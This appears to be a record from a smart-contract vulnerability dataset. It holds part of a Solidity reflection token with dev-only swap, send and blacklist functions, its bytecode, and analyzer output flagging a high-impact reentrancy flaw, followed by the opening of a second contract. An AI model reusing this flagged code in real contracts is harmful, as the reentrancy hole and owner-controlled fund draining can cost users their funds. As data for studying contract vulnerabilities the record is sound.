_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external onlyDev {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyDev {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190612a1f565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612ae9565b61051c565b6040516101a49190612b44565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b5f565b61053a565b005b3480156101e257600080fd5b506101eb610633565b6040516101f89190612bd5565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d38565b610643565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d81565b6108a5565b60405161025e9190612b44565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612dd4565b61097e565b005b34801561029c57600080fd5b506102a5610a70565b6040516102b29190612e1d565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612e38565b610a79565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e91565b610b28565b005b34801561031957600080fd5b50610334600480360381019061032f9190612e38565b610bda565b005b34801561034257600080fd5b5061034b610cb3565b005b34801561035957600080fd5b50610374600480360381019061036f9190612dd4565b610d5b565b6040516103819190612bd5565b60405180910390f35b34801561039657600080fd5b5061039f610dac565b005b3480156103ad57600080fd5b506103b6610eff565b005b3480156103c457600080fd5b506103cd610fb4565b6040516103da9190612ecd565b60405180910390f35b3480156103ef57600080fd5b506103f8610fdd565b6040516104059190612a1f565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612ae9565b61101a565b6040516104429190612b44565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612e38565b611038565b005b34801561048057600080fd5b50610489611111565b005b34801561049757600080fd5b506104a06111c1565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ee8565b6116db565b6040516104d69190612bd5565b60405180910390f35b60606040518060400160405280600c81526020017f456c6f6e277320466c6f636b0000000000000000000000000000000000000000815250905090565b6000610530610529611762565b848461176a565b6001905092915050565b610542611762565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c890612f74565b60405180910390fd5b600f5483856105e09190612fc3565b11156105eb57600080fd5b60105481836105fa9190612fc3565b111561060557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000670de0b6b3a7640000905090565b61064b611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90612f74565b60405180910390fd5b60005b81518110156108a1573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070e5761070d613019565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061078157610780613019565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108165750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f5576107f4613019565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088e5760016007600084848151811061083457610833613019565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089990613048565b9150506106db565b5050565b60006108b2848484611933565b610973846108be611762565b61096e8560405180606001604052806028815260200161389960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610924611762565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed99092919063ffffffff16565b61176a565b600190509392505050565b610986611762565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0c90612f74565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610a81611762565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0790612f74565b60405180910390fd5b6031811115610b1e57600080fd5b8060128190555050565b610b30611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490612f74565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610be2611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6690612f74565b60405180910390fd5b60008111610c7c57600080fd5b610caa6064610c9c83670de0b6b3a7640000611f3d90919063ffffffff16565b611fb790919063ffffffff16565b60158190555050565b610cbb611762565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190612f74565b60405180910390fd5b6000479050610d5881612001565b50565b6000610da5600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461206d565b9050919050565b610db4611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890612f74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f07611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b90612f74565b60405180910390fd5b670de0b6b3a7640000601581905550670de0b6b3a7640000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f2445464c4f434b00000000000000000000000000000000000000000000000000815250905090565b600061102e611027611762565b8484611933565b6001905092915050565b611040611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612f74565b60405180910390fd5b600081116110da57600080fd5b61110860646110fa83670de0b6b3a7640000611f3d90919063ffffffff16565b611fb790919063ffffffff16565b60168190555050565b611119611762565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f74565b60405180910390fd5b60006111b330610d5b565b90506111be816120db565b50565b6111c9611762565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d90612f74565b60405180910390fd5b60148054906101000a900460ff16156112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b906130dc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061133330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061176a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561137e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a29190613111565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611409573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142d9190613111565b6040518363ffffffff1660e01b815260040161144a92919061313e565b6020604051808303816000875af1158015611469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148d9190613111565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061151630610d5b565b600080611521610fb4565b426040518863ffffffff1660e01b8152600401611543969594939291906131ac565b60606040518083038185885af1158015611561573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115869190613222565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff021916908315150217905550664fefa17b724000601581905550666a94d74f43000060168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611694929190613275565b6020604051808303816000875af11580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d791906132b3565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d090613352565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183f906133e4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119269190612bd5565b60405180910390a3505050565b60008111611976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196d90613476565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611999610fb4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0757506119d7610fb4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ec957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ab75750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b0d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b255750601460179054906101000a900460ff165b15611b9257601554811115611b3957600080fd5b60165481611b4684610d5b565b611b509190612fc3565b1115611b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b88906134e2565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c3a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c935750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d6157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d3c5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d4557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d6c30610d5b565b9050611dc06064611db2601254611da4601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d5b565b611f3d90919063ffffffff16565b611fb790919063ffffffff16565b811115611e1c57611e196064611e0b601254611dfd601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d5b565b611f3d90919063ffffffff16565b611fb790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e875750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e9f5750601460169054906101000a900460ff165b15611ec757611ead816120db565b60004790506000811115611ec557611ec447612001565b5b505b505b611ed4838383612354565b505050565b6000838311158290611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f189190612a1f565b60405180910390fd5b5060008385611f309190613502565b9050809150509392505050565b6000808303611f4f5760009050611fb1565b60008284611f5d9190613536565b9050828482611f6c91906135bf565b14611fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa390613662565b60405180910390fd5b809150505b92915050565b6000611ff983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612364565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612069573d6000803e3d6000fd5b5050565b60006009548211156120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab906136f4565b60405180910390fd5b60006120be6123c7565b90506120d38184611fb790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561211357612112612bf5565b5b6040519080825280602002602001820160405280156121415781602001602082028036833780820191505090505b509050308160008151811061215957612158613019565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612200573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122249190613111565b8160018151811061223857612237613019565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061229f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461176a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123039594939291906137d2565b600060405180830381600087803b15801561231d57600080fd5b505af1158015612331573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61235f8383836123f2565b505050565b600080831182906123ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a29190612a1f565b60405180910390fd5b50600083856123ba91906135bf565b9050809150509392505050565b60008060006123d46125bd565b915091506123eb8183611fb790919063ffffffff16565b9250505090565b6000806000806000806124048761261c565b95509550955095509550955061246286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b190919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fb90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061254381612759565b61254d8483612816565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125aa9190612bd5565b60405180910390a3505050505050505050565b600080600060095490506000670de0b6b3a764000090506125f1670de0b6b3a7640000600954611fb790919063ffffffff16565b82101561260f57600954670de0b6b3a7640000935093505050612618565b81819350935050505b9091565b6000806000806000806000806000612632612850565b6126505761264b8a600b60020154600b60030154612867565b612666565b6126658a600b60000154600b60010154612867565b5b92509250925060006126766123c7565b905060008060006126898e8787876128fd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ed9565b905092915050565b600080828461270a9190612fc3565b90508381101561274f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274690613878565b60405180910390fd5b8091505092915050565b60006127636123c7565b9050600061277a8284611f3d90919063ffffffff16565b90506127ce81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fb90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61282b826009546126b190919063ffffffff16565b60098190555061284681600a546126fb90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128936064612885888a611f3d90919063ffffffff16565b611fb790919063ffffffff16565b905060006128bd60646128af888b611f3d90919063ffffffff16565b611fb790919063ffffffff16565b905060006128e6826128d8858c6126b190919063ffffffff16565b6126b190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129168589611f3d90919063ffffffff16565b9050600061292d8689611f3d90919063ffffffff16565b905060006129448789611f3d90919063ffffffff16565b9050600061296d8261295f85876126b190919063ffffffff16565b6126b190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129c05780820151818401526020810190506129a5565b838111156129cf576000848401525b50505050565b6000601f19601f8301169050919050565b60006129f182612986565b6129fb8185612991565b9350612a0b8185602086016129a2565b612a14816129d5565b840191505092915050565b60006020820190508181036000830152612a3981846129e6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a8082612a55565b9050919050565b612a9081612a75565b8114612a9b57600080fd5b50565b600081359050612aad81612a87565b92915050565b6000819050919050565b612ac681612ab3565b8114612ad157600080fd5b50565b600081359050612ae381612abd565b92915050565b60008060408385031215612b0057612aff612a4b565b5b6000612b0e85828601612a9e565b9250506020612b1f85828601612ad4565b9150509250929050565b60008115159050919050565b612b3e81612b29565b82525050565b6000602082019050612b596000830184612b35565b92915050565b60008060008060808587031215612b7957612b78612a4b565b5b6000612b8787828801612ad4565b9450506020612b9887828801612ad4565b9350506040612ba987828801612ad4565b9250506060612bba87828801612ad4565b91505092959194509250565b612bcf81612ab3565b82525050565b6000602082019050612bea6000830184612bc6565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c2d826129d5565b810181811067ffffffffffffffff82111715612c4c57612c4b612bf5565b5b80604052505050565b6000612c5f612a41565b9050612c6b8282612c24565b919050565b600067ffffffffffffffff821115612c8b57612c8a612bf5565b5b602082029050602081019050919050565b600080fd5b6000612cb4612caf84612c70565b612c55565b90508083825260208201905060208402830185811115612cd757612cd6612c9c565b5b835b81811015612d005780612cec8882612a9e565b845260208401935050602081019050612cd9565b5050509392505050565b600082601f830112612d1f57612d1e612bf0565b5b8135612d2f848260208601612ca1565b91505092915050565b600060208284031215612d4e57612d4d612a4b565b5b600082013567ffffffffffffffff811115612d6c57612d6b612a50565b5b612d7884828501612d0a565b91505092915050565b600080600060608486031215612d9a57612d99612a4b565b5b6000612da886828701612a9e565b9350506020612db986828701612a9e565b9250506040612dca86828701612ad4565b9150509250925092565b600060208284031215612dea57612de9612a4b565b5b6000612df884828501612a9e565b91505092915050565b600060ff82169050919050565b612e1781612e01565b82525050565b6000602082019050612e326000830184612e0e565b92915050565b600060208284031215612e4e57612e4d612a4b565b5b6000612e5c84828501612ad4565b91505092915050565b612e6e81612b29565b8114612e7957600080fd5b50565b600081359050612e8b81612e65565b92915050565b600060208284031215612ea757612ea6612a4b565b5b6000612eb584828501612e7c565b91505092915050565b612ec781612a75565b82525050565b6000602082019050612ee26000830184612ebe565b92915050565b60008060408385031215612eff57612efe612a4b565b5b6000612f0d85828601612a9e565b9250506020612f1e85828601612a9e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f5e602083612991565b9150612f6982612f28565b602082019050919050565b60006020820190508181036000830152612f8d81612f51565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fce82612ab3565b9150612fd983612ab3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561300e5761300d612f94565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061305382612ab3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361308557613084612f94565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006130c6601783612991565b91506130d182613090565b602082019050919050565b600060208201905081810360008301526130f5816130b9565b9050919050565b60008151905061310b81612a87565b92915050565b60006020828403121561312757613126612a4b565b5b6000613135848285016130fc565b91505092915050565b60006040820190506131536000830185612ebe565b6131606020830184612ebe565b9392505050565b6000819050919050565b6000819050919050565b600061319661319161318c84613167565b613171565b612ab3565b9050919050565b6131a68161317b565b82525050565b600060c0820190506131c16000830189612ebe565b6131ce6020830188612bc6565b6131db604083018761319d565b6131e8606083018661319d565b6131f56080830185612ebe565b61320260a0830184612bc6565b979650505050505050565b60008151905061321c81612abd565b92915050565b60008060006060848603121561323b5761323a612a4b565b5b60006132498682870161320d565b935050602061325a8682870161320d565b925050604061326b8682870161320d565b9150509250925092565b600060408201905061328a6000830185612ebe565b6132976020830184612bc6565b9392505050565b6000815190506132ad81612e65565b92915050565b6000602082840312156132c9576132c8612a4b565b5b60006132d78482850161329e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061333c602483612991565b9150613347826132e0565b604082019050919050565b6000602082019050818103600083015261336b8161332f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133ce602283612991565b91506133d982613372565b604082019050919050565b600060208201905081810360008301526133fd816133c1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613460602983612991565b915061346b82613404565b604082019050919050565b6000602082019050818103600083015261348f81613453565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006134cc601a83612991565b91506134d782613496565b602082019050919050565b600060208201905081810360008301526134fb816134bf565b9050919050565b600061350d82612ab3565b915061351883612ab3565b92508282101561352b5761352a612f94565b5b828203905092915050565b600061354182612ab3565b915061354c83612ab3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561358557613584612f94565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135ca82612ab3565b91506135d583612ab3565b9250826135e5576135e4613590565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061364c602183612991565b9150613657826135f0565b604082019050919050565b6000602082019050818103600083015261367b8161363f565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006136de602a83612991565b91506136e982613682565b604082019050919050565b6000602082019050818103600083015261370d816136d1565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61374981612a75565b82525050565b600061375b8383613740565b60208301905092915050565b6000602082019050919050565b600061377f82613714565b613789818561371f565b935061379483613730565b8060005b838110156137c55781516137ac888261374f565b97506137b783613767565b925050600181019050613798565b5085935050505092915050565b600060a0820190506137e76000830188612bc6565b6137f4602083018761319d565b81810360408301526138068186613774565b90506138156060830185612ebe565b6138226080830184612bc6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613862601b83612991565b915061386d8261382c565b602082019050919050565b6000602082019050818103600083015261389181613855565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f8fb038658adf4259689b94c510b2cf40b7dd40c4a3dad9218b8aa87fff9f7164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,330 |
0x9C828Aa56c297e6fb98bef9bb455d9D6A0b5d71f
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOwner() {
require(msg.sender != owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Resume();
bool public paused = false;
/**
